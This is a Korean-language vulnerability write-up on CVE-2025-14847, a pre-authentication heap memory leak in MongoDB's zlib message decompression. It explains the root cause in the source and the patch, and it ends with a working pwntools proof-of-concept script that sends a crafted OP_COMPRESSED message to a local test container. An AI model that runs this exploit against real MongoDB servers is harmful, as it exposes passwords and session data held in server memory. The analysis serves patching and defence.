[히루한줄] MongoDB에서 발생한 Information Disclosure 취약점
URL
Target
- MongoDB
- 8.2.0 이상 ~ 8.2.3 미만
- 8.0.0 이상 ~ 8.0.17 미만
- 7.0.0 이상 ~ 7.0.28 미만
- 6.0.0 이상 ~ 6.0.27 미만
- 5.0.0 이상 ~ 5.0.32 미만
- 4.4.0 이상 ~ 4.4.30 미만
- 4.2
- 4.0
- 3.6
Explain
Overview
CVE-2025-14847은 MongoDB 서버의 네트워크 메시지 압축 처리 과정에서 길이(length) 값을 부정확하게 취급하여 발생한 pre-auth information disclosure 취약점입니다.
취약한 MongoDB를 사용하는 서버는 인증 여부와 무관하게 공격자가 전송한 조작된 압축 메시지를 처리하는 과정에서 초기화되지 되지 않은 힙 메모리 조각을 원격으로 노출할 수 있게 됩니다.
CVSS v3.1 기준 7.5(High)로 평가되었으며 실제 악용 정황이 보고되어 긴급 패치가 권고되었습니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2025-14847 |
| CWE | Improper Handling of Length Parameter Inconsistency |
| Impact | 사전 인증 상태에서 초기화되지 않은 힙 메모리 읽기 |
| 공격 조건 | 네트워크 접근 가능 + zlib 네트워크 압축 경로 활성화 |
Background
MongoDB는 자체 TCP wire protocol을 사용하며 메시지 압축이 적용될 경우, 원본 메시지를 OP_COMPRESSED 포맷으로 래핑합니다.
https://github.com/mongodb/specifications/blob/master/source/compression/OP_COMPRESSED.md
struct OP_COMPRESSED {
struct MsgHeader {
int32 messageLength;
int32 requestID;
int32 responseTo;
int32 opCode = 2012;
};
int32_t originalOpcode;
int32_t uncompressedSize; // 압축 해제 후 크기
uint8_t compressorId; // 압축 알고리즘 식별자
char *compressedMessage; // 압축된 페이로드
};
OP_COMPRESSED 포맷에서 압축 해제 후 크기를 나타내는 uncompressedSize는 메시지를 제작하는 클라이언트 측에서 전송되는 값입니다. 서버는 해당 필드를 신뢰하며 버퍼 크기 산정 등의 후속 처리를 수행하게 됩니다.
서버 측 네트워크 압축 허용 여부는 구성 옵션으로 제어되며 기본값은 snappy, zstd, zlib 이며 별도 변경이 없다면 zlib 경로가 허용 리스트에 포함됩니다.
https://www.mongodb.com/ko-kr/docs/manual/reference/configuration-options/
net:
compression:
compressors: <string> # snaapy, zstd, zlib
zlib는 호출 시점에 출력 버퍼 크기인 destLen을 인자로 받아 성공 시 실제 압축 해제된 바이트 수를 destLen에 다시 기록합니다. 따라서 할당된 버퍼 크기와 실제 디코딩 결과 데이터 크기는 구분되어야 합니다.
- 호출 시점의
destLen: 버퍼의 전체 용량 (capacity) - 반환 시점의
destLen: 실제 처리된 데이터의 양 (size)
zlib/uncompr.c
int ZEXPORT uncompress2_z(Bytef *dest, z_size_t *destLen, const Bytef *source,
z_size_t *sourceLen) {
z_stream stream;
int err;
const uInt max = (uInt)-1;
z_size_t len, left;
if (sourceLen == NULL || (*sourceLen > 0 && source == NULL) ||
destLen == NULL || (*destLen > 0 && dest == NULL))
return Z_STREAM_ERROR;
len = *sourceLen;
left = *destLen;
if (left == 0 && dest == Z_NULL)
dest = (Bytef *)&stream.reserved; /* next_out cannot be NULL */
stream.next_in = (z_const Bytef *)source;
stream.avail_in = 0;
stream.zalloc = (alloc_func)0;
stream.zfree = (free_func)0;
stream.opaque = (voidpf)0;
err = inflateInit(&stream);
if (err != Z_OK) return err;
stream.next_out = dest;
stream.avail_out = 0;
do {
if (stream.avail_out == 0) {
stream.avail_out = left > (z_size_t)max ? max : (uInt)left;
left -= stream.avail_out;
}
if (stream.avail_in == 0) {
stream.avail_in = len > (z_size_t)max ? max : (uInt)len;
len -= stream.avail_in;
}
err = inflate(&stream, Z_NO_FLUSH);
} while (err == Z_OK);
/* Set len and left to the unused input data and unused output space. Set
*sourceLen to the amount of input consumed. Set *destLen to the amount
of data produced. */
len += stream.avail_in;
left += stream.avail_out; // 남은(unused) 공간 계산
*sourceLen -= len;
*destLen -= left; // 전체 크기에서 남은 공간을 빼서 실제 사용량 계산
inflateEnd(&stream);
return err == Z_STREAM_END ? Z_OK :
err == Z_NEED_DICT ? Z_DATA_ERROR :
err == Z_BUF_ERROR && len == 0 ? Z_DATA_ERROR :
err;
}
Root cause
취약점은 서버에서 압축 해제 로직을 수행할 때 클라이언트 측에서 전달된 파라미터를 신뢰했기 때문에 발생하였습니다. 취약한 버전의 서버는 압축 해제 결과의 실제 길이가 아닌 클라이언트 측에서 전달된 버퍼 길이를 정상 데이터 길이로 상위 로직에 전달하였습니다.
이 과정에서 압축해제는 MessageCompressorManager 객체의 decompressMessage() 메소드가 처리합니다. 소스코드와 함께 흐름을 확인해보겠습니다.
1. Inaccurate Metadata
공격자는 OP_COMPRESSED의 uncompressedSize를 실제보다 크게 만들어 서버가 과도하게 큰 출력 버퍼를 할당하도록 유도할 수 있습니다. 서버는 클라이언트 측 메시지를 신뢰하여 과도하게 큰 힙 버퍼를 할당[1]하게 됩니다.
mongo7.0.1/src/mongo/transport/message_compressor_manager.cpp:178
size_t bufferSize =
static_cast<size_t>(compressionHeader.uncompressedSize) + MsgData::MsgDataHeaderSize;
if (bufferSize > MaxMessageSizeBytes) {
return {ErrorCodes::BadValue,
"Decompressed message would be larger than maximum message size"};
}
auto outputMessageBuffer = SharedBuffer::allocate(bufferSize); // [1]
2. 과도한 버퍼 할당 및 zlib 호출
서버는 클라이언트 측에서 전달된 uncompressedSize만큼 힙 버퍼를 할당하여 zlib의 uncompress()를 호출[2][3]합니다. 이때 destLen 포인터에 전달되는 capacity는 uncompressedSize와 같습니다.[4]
mongo7.0.1/src/mongo/transport/message_compressor_manager.cpp:186
MsgData::View outMessage(outputMessageBuffer.get());
outMessage.setId(inputHeader.getId());
outMessage.setResponseToMsgId(inputHeader.getResponseToMsgId());
outMessage.setOperation(compressionHeader.originalOpCode);
outMessage.setLen(bufferSize);
DataRangeCursor output(outMessage.data(), outMessage.data() + outMessage.dataLen());
auto sws = compressor->decompressData(input, output); // [2] zlib uncompress() 상위 호출
mongo7.0.1/src/mongo/transport/message_compressor_zlib.cpp:64
StatusWith<std::size_t> ZlibMessageCompressor::decompressData(ConstDataRange input,
DataRange output) {
uLongf length = output.length();
// [3] zlib uncompress() 호출
int ret = ::uncompress(const_cast<Bytef*>(reinterpret_cast<const Bytef*>(output.data())),
&length, // [4]
reinterpret_cast<const Bytef*>(input.data()),
input.length());
if (ret != Z_OK) {
return Status{ErrorCodes::BadValue, "Compressed message was invalid or corrupted"};
}
counterHitDecompress(input.length(), output.length());
return {output.length()};
}
3. zlib 동작
zlib의 uncompress() 함수는 전달된 입력을 압축 해제한 후 실제로 처리된 데이터 크기를 destLen에 업데이트하여 반환합니다. (정상 동작)
4. MongoDB 측 오류 (root cause)
서버 로직이 zlib에 의해 업데이트된 실제 데이터 크기(destLen)을 무시하고 처음에 클라이언트가 보낸 조작된 uncompressedSize를 유효 데이터의 경계로 간주합니다.
- 정상적인 호출이라면
sws == output.length()
mongo7.0.1/src/mongo/transport/message_compressor_manager.cpp:199
if (sws.getValue() != static_cast<std::size_t>(compressionHeader.uncompressedSize)) {
return {ErrorCodes::BadValue, "Decompressing message returned less data than expected"};
}
5. 정보 유출
실제 데이터인 size 지점 이후부터 capacity 지점까지의 영역은 초기화되지 않은 힙 메모리이기 때문에 해당 영역에는 이전 프로세스들이 남긴 민감한 정보(비밀번호, 세션 등)가 존재할 수 있습니다. 후속 파싱 로직이 해당 값들을 정상적인 BSON 데이터로 간주하여 처리하거나 에러 메시지에 포함시킴으로써 메모리 내부 정보가 외부로 노출됩니다.
PoC
취약한 MongoDB를 사용하는 인스턴스에 대해 아래 스크립트로 정보 유출 여부를 확인해볼 수 있습니다.
services:
mongodb:
image: mongo:7.0.1
container_name: mongobleed-hackyboiz
labels:
- "author=millet"
ports:
- "27017:27017"
command: mongod --networkMessageCompressors zlib --bind_ip_all
import zlib
import bson
from pwn import *
OP_MSG = 2013
OP_COMPRESSED = 2012
ZLIB = 2
LEAK_SIZE = 0x100
bson_payload = bson.encode({
'hello' : 1,
'dummy' : b'A' * 0x10
})
# flagBits + kind + payload
section_0 = p8(0) + p32(len(bson_payload) + 4) + bson_payload
op_msg_payload = p32(0) + section_0
# compress
compressed_data_payload = zlib.compress(op_msg_payload)
# originalOpcode + uncompressedSize + compressorId + compressedMessage
op_compressed_body = p32(OP_MSG) + p32(LEAK_SIZE) + p8(ZLIB) + compressed_data_payload
tot_len = 16 + len(op_compressed_body)
# MsgHeader + Body
payload = p32(tot_len) + p32(1) + p32(0) + p32(OP_COMPRESSED) + op_compressed_body
try:
p = remote('localhost', 27017)
p.send(payload)
response_header = p.recvn(4)
tot_response_len = u32(response_header)
response_body = p.recvn(tot_response_len - 4)
full_response = response_header + response_body
response_opcode = u32(full_response[12:16])
if response_opcode == OP_COMPRESSED:
compressed_leak = full_response[25:]
try:
leaked_data = zlib.decompress(compressed_leak)
log.success(f'Leaked Data Length :: {len(leaked_data)}')
print(hexdump(leaked_data))
except zlib.error as e:
log.failure(f'Decompression failed :: {e}')
else:
log.failure(f'Unexpected OpCode :: {response_opcode}')
except Exception as e:
log.failure(f'Connection error :: {e}')
finally:
p.close()
스크립트를 실행하면 사진과 같이 힙 메모리 데이터 유출을 확인할 수 있습니다.

Patch
패치 커밋 505b660에서 decompressData() 메소드에 대해 실제 zlib가 압축 해제한 길이를 반환하도록 수정되었습니다.

Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.